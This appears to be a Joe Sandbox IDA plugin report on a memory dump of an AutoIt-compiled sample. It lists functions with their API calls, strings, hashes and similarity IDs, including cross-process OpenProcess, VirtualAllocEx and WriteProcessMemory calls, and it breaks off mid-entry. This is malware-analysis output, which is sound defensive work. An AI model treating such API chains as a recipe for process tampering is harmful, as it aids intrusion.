Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 60c29cce508e85185ac55e36cb8947393cd6d6b2d87e5760c4d6af310f7d7bab
Instruction ID: bbef99d9a809da861c92d48fd68c13562448c3f8cf3621fd2188c168c53ee637
Opcode Fuzzy Hash: 60c29cce508e85185ac55e36cb8947393cd6d6b2d87e5760c4d6af310f7d7bab
Instruction Fuzzy Hash: BEA133756042069FDB00DF14C884D6ABBE6FF89314F04899CF9999B3A1DB31ED45CB91

Function 005EB2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 005EB4BE

Strings

%b, xrefs: 005EB561
Container, xrefs: 005EB43B
AutoIt3GUI, xrefs: 005EB436

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%b
API String ID: 3565006973-1373489186
Opcode ID: 864e1a3f8fa84159a26caa230663f3278504fcde76eda791938b6fc49c0a9cc8
Instruction ID: 3e5aec9e58bcb038be048dfb1aca6cc98d453008b4578329190d2db931f71088
Opcode Fuzzy Hash: 864e1a3f8fa84159a26caa230663f3278504fcde76eda791938b6fc49c0a9cc8
Instruction Fuzzy Hash: 3E914B70600601AFEB18DF65C885B6BBBF5FF48711F10896EE986CB291EB70E841CB50

Function 005B501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 005B50AD

Part of subcall function 005C00F0: __87except.LIBCMT ref: 005C012B

Strings

pow, xrefs: 005B5085, 005B50A2

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 28f7a6b0393ff7bd3295d62e1bdaba5e2f295426f874a62df530e37a239fc550
Instruction ID: 39f7607201952715e302d7d36dcc22ddbe3f93ecc13f6694d428815cfd3c3035
Opcode Fuzzy Hash: 28f7a6b0393ff7bd3295d62e1bdaba5e2f295426f874a62df530e37a239fc550
Instruction Fuzzy Hash: 91517D25A0CA06CEDB157768CC0DBBE6F95BB40700F249D5CE4D5862D9FE349DC4D682

Function 005D8584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005D862B
_memmove.LIBCMT ref: 005D8685

Strings

_Z, xrefs: 005D86FF, 005DDFDC, 005DDFF8
3cZ, xrefs: 005D860C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove
String ID: 3cZ$_Z
API String ID: 4104443479-549921992
Opcode ID: df0488b0642de6607eb6ecfe8b9413fd47a420ae9a20784c70014f95118a22da
Instruction ID: 4170bcec7a26194a927002c7ced1dc666a1013103850c009d13a41fce5a79f47
Opcode Fuzzy Hash: df0488b0642de6607eb6ecfe8b9413fd47a420ae9a20784c70014f95118a22da
Instruction Fuzzy Hash: 20513A709006099FCB64CFACD884AAEBBB1FF45314F14852AE85AD7350EB31E955CB51

Function 005E97F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005F14BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005E9296,?,?,00000034,00000800,?,00000034), ref: 005F14E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 005E983F

Part of subcall function 005F1487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005E92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 005F14B1

Part of subcall function 005F13DE: GetWindowThreadProcessId.USER32(?,?), ref: 005F1409
Part of subcall function 005F13DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,005E925A,00000034,?,?,00001004,00000000,00000000), ref: 005F1419
Part of subcall function 005F13DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,005E925A,00000034,?,?,00001004,00000000,00000000), ref: 005F142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005E98AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005E98F9

Strings

@, xrefs: 005E9911

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 43ac94b3f02792fa5b3572deeffa53fede23d40200e1d035c744467bdf59f29b
Instruction ID: ed2048795fb5f6328e2fd04de1404560882ad25a96c890006a47ce2ec5d54e9e
Opcode Fuzzy Hash: 43ac94b3f02792fa5b3572deeffa53fede23d40200e1d035c744467bdf59f29b
Instruction Fuzzy Hash: 42415E7690021DAFCF14DFA4CD85AEEBBB8FB49700F004099FA45B7191DA716E45CBA0

Function 00617946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0061F910,00000000,?,?,?,?), ref: 006179DF
GetWindowLongW.USER32 ref: 006179FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00617A0C

Strings

SysTreeView32, xrefs: 006179B1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 452aa2f205c5e4ab9587da4ac7f65a9e3b3aa4c9c2ec7ec50c9bdaff7c76159b
Instruction ID: d43995c98e522402ccfde4f9603c57989bd30fb60f69dce94fa8a0fd59a54568
Opcode Fuzzy Hash: 452aa2f205c5e4ab9587da4ac7f65a9e3b3aa4c9c2ec7ec50c9bdaff7c76159b
Instruction Fuzzy Hash: 4431AE31204606ABDF119F38CC45BEA7BAAFF49324F284B25F875922E0D731E9959B50

Function 006173D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00617461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00617475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00617499

Strings

SysMonthCal32, xrefs: 0061742C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: e321c9c32333b228d1173e30a7d88eadf03cf52727593cdf1635dce199571598
Instruction ID: d3205dc54cd0bb0f48997b30797f8e9d069e5afb826e9d75cd5810a1c9265ce1
Opcode Fuzzy Hash: e321c9c32333b228d1173e30a7d88eadf03cf52727593cdf1635dce199571598
Instruction Fuzzy Hash: 4F219F32500219ABDF11CF64CC46FEA3BBAEB48724F150214FE15AB190DA75AC919BA0

Function 00617B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00617C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00617C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00617C5F

Strings

msctls_updown32, xrefs: 00617BC4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 0f8bbf1676015446c22999bed74fcf83459fdad90151a37906770f731276d8b4
Instruction ID: b7ef4775dece046d409efd91d0116b5d42bf4b18fc1f3b19fe38f7ce8e7eb241
Opcode Fuzzy Hash: 0f8bbf1676015446c22999bed74fcf83459fdad90151a37906770f731276d8b4
Instruction Fuzzy Hash: 1C217CB1604209AFDB10DF24DCC5DE73BAEEB4A394B184059F9059B3A1CB31EC418AA0

Function 00616CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00616D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00616D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00616D70

Strings

Listbox, xrefs: 00616D08

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 2af09b7cf6a7460c3995496a34a94b3c2cf5d6b01a49d2bf9f87d940f9221dbd
Instruction ID: 3013838fb908f9cf68584b8690895d9ffcd602bdfa66c29c19c3c41a023ead45
Opcode Fuzzy Hash: 2af09b7cf6a7460c3995496a34a94b3c2cf5d6b01a49d2bf9f87d940f9221dbd
Instruction Fuzzy Hash: E5219F36600218BFDF118F54DC45EEB3BBBEF89764F058128F9459B2A0CA719C919BA0

Function 006039E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00603A66

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Strings

%b, xrefs: 006039F4
AUTOITCALLVARIABLE%d, xrefs: 00603A58
, $, xrefs: 00603AA6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%b
API String ID: 3506404897-1932262620
Opcode ID: 8323326c81b897ac28c93c675cb9283c3eb9bb40c1676a89c5ed9e3bc934fadd
Instruction ID: f784c543284178e6d5fcdc7fbe6407e1205b3d3930b83fa063d0dc3478bd6c82
Opcode Fuzzy Hash: 8323326c81b897ac28c93c675cb9283c3eb9bb40c1676a89c5ed9e3bc934fadd
Instruction Fuzzy Hash: DB21853175021AAFCF18EF64CC86EAE7BBABF89700F500455F455A7281EB30EA45CB61

Function 0061770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00617772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00617787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00617794

Strings

msctls_trackbar32, xrefs: 00617749

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: de482c6b78ecf68b4c0c447f376615cb61985073c81635106e6429a636000ee9
Instruction ID: cab772e87a5249ae17e2eae497365561b17327cb81466576975f79c94853ba5f
Opcode Fuzzy Hash: de482c6b78ecf68b4c0c447f376615cb61985073c81635106e6429a636000ee9
Instruction Fuzzy Hash: 40112732240309BAEF109F60CC05FD7377AEF88B64F054118F641921E0C271E851CB20

Function 005B6B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 005B6B93
__calloc_crt.LIBCMT ref: 005B6BAC

Strings

@Be, xrefs: 005B6BC3
d, xrefs: 005B6BD1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __calloc_crt
String ID: d$@Be
API String ID: 3494438863-2190361174
Opcode ID: 66cbd63c2027797fc454da2d6d60623ac4c5199b775e95701cdd6483c2ee61eb
Instruction ID: 1c58a3e44925fc99c956f5f66b7bcd21d35101a71fc912b439828fe704d44e11
Opcode Fuzzy Hash: 66cbd63c2027797fc454da2d6d60623ac4c5199b775e95701cdd6483c2ee61eb
Instruction Fuzzy Hash: 98F04F71208B12DBEB64CF68BC6AAE23FA6F750730F50141AE141CE190FB78A98187C5

Function 005B9B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 005B9B94

Part of subcall function 005B9C0B: __mtinitlocknum.LIBCMT ref: 005B9C1D
Part of subcall function 005B9C0B: EnterCriticalSection.KERNEL32(00000000,?,005B9A7C,0000000D), ref: 005B9C36

__updatetlocinfoEx_nolock.LIBCMT ref: 005B9BA4

Part of subcall function 005B9100: ___addlocaleref.LIBCMT ref: 005B911C
Part of subcall function 005B9100: ___removelocaleref.LIBCMT ref: 005B9127
Part of subcall function 005B9100: ___freetlocinfo.LIBCMT ref: 005B913B

Strings

8d, xrefs: 005B9B8A, 005B9B9F, 005B9BAB
8d, xrefs: 005B9B85

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
String ID: 8d$8d
API String ID: 547918592-3436625941
Opcode ID: 52d6fd5910b938218e9718ec31157b5896c3576c5a59305984804c27a9354d97
Instruction ID: f7bae66ccc3b19b9c2e5cf68b1c6e06d70e25d48c153d4a940dc3c789f014f00
Opcode Fuzzy Hash: 52d6fd5910b938218e9718ec31157b5896c3576c5a59305984804c27a9354d97
Instruction Fuzzy Hash: D4E08C31987302ABEB20BBE86A0BB983E65FB81B21F20215AF145560C1CD712800C657

Function 00594C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00594BD0,?,00594DEF,?,006552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00594C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00594C23

Strings

Wow64DisableWow64FsRedirection, xrefs: 00594C1D
kernel32.dll, xrefs: 00594C0C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 24a80f5aea175e0a6014dc6976420d01d0de094f518a7f7b178137bb1097ea39
Instruction ID: 82e63b9a5f2145d7bcde7ff149dd0648bd9d15cf8102a0f1942a19d6a45f799c
Opcode Fuzzy Hash: 24a80f5aea175e0a6014dc6976420d01d0de094f518a7f7b178137bb1097ea39
Instruction Fuzzy Hash: D7D01230511713DFDB205F71D919686BAE6FF09352B15CC3AD486D6160E6B4DC81CA50

Function 00594C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00594B83,?), ref: 00594C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00594C56

Strings

Wow64RevertWow64FsRedirection, xrefs: 00594C50
kernel32.dll, xrefs: 00594C3F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 7ce6c843bb273d2bec8c7c23d8a0a1d6a6edebc638c960470c29fdd65fa13c28
Instruction ID: dea163f0aeaba9bd725159b8523e41c10698ac831ccff7f2d5f5f701e7b8204f
Opcode Fuzzy Hash: 7ce6c843bb273d2bec8c7c23d8a0a1d6a6edebc638c960470c29fdd65fa13c28
Instruction Fuzzy Hash: CED01730514B13DFDB249F31D909A9A7AE6BF05351B1AC83A9496D6261EA74DC80CA50

Function 00610DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00611039), ref: 00610DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00610E07

Strings

RegDeleteKeyExW, xrefs: 00610E01
advapi32.dll, xrefs: 00610DF0

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 7b09760735ba02b42339a6d405847660667afbbe19e4501c7589726410ee80c1
Instruction ID: 2d6ad139216995deb224ee9412be4f9e5932159c152b70ff01436494d9e8810d
Opcode Fuzzy Hash: 7b09760735ba02b42339a6d405847660667afbbe19e4501c7589726410ee80c1
Instruction Fuzzy Hash: FAD01270550712DFD7205F75C8096C776E7AF04351F19DC3EA485D2250D6B0D4D0C660

Function 006090E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00608CF4,?,0061F910), ref: 006090EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00609100

Strings

GetModuleHandleExW, xrefs: 006090FA
kernel32.dll, xrefs: 006090E9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 74e6b0f2684be70675aa630928caa3a228e332d27a3ba180f3f7a936799960dc
Instruction ID: c468915b48675c8e5eb0e21fe1ed88013eddd8317241ac07998f7f42b0315dd8
Opcode Fuzzy Hash: 74e6b0f2684be70675aa630928caa3a228e332d27a3ba180f3f7a936799960dc
Instruction Fuzzy Hash: B3D01734654713DFDB209F31D81968776E7AF05391B1AC87A9486D66A1EAB4C880CAA0

Function 005D1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 005D1718
__swprintf.LIBCMT ref: 005D1749

Strings

%.3d, xrefs: 005D1723
WIN_XPe, xrefs: 005D1788

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
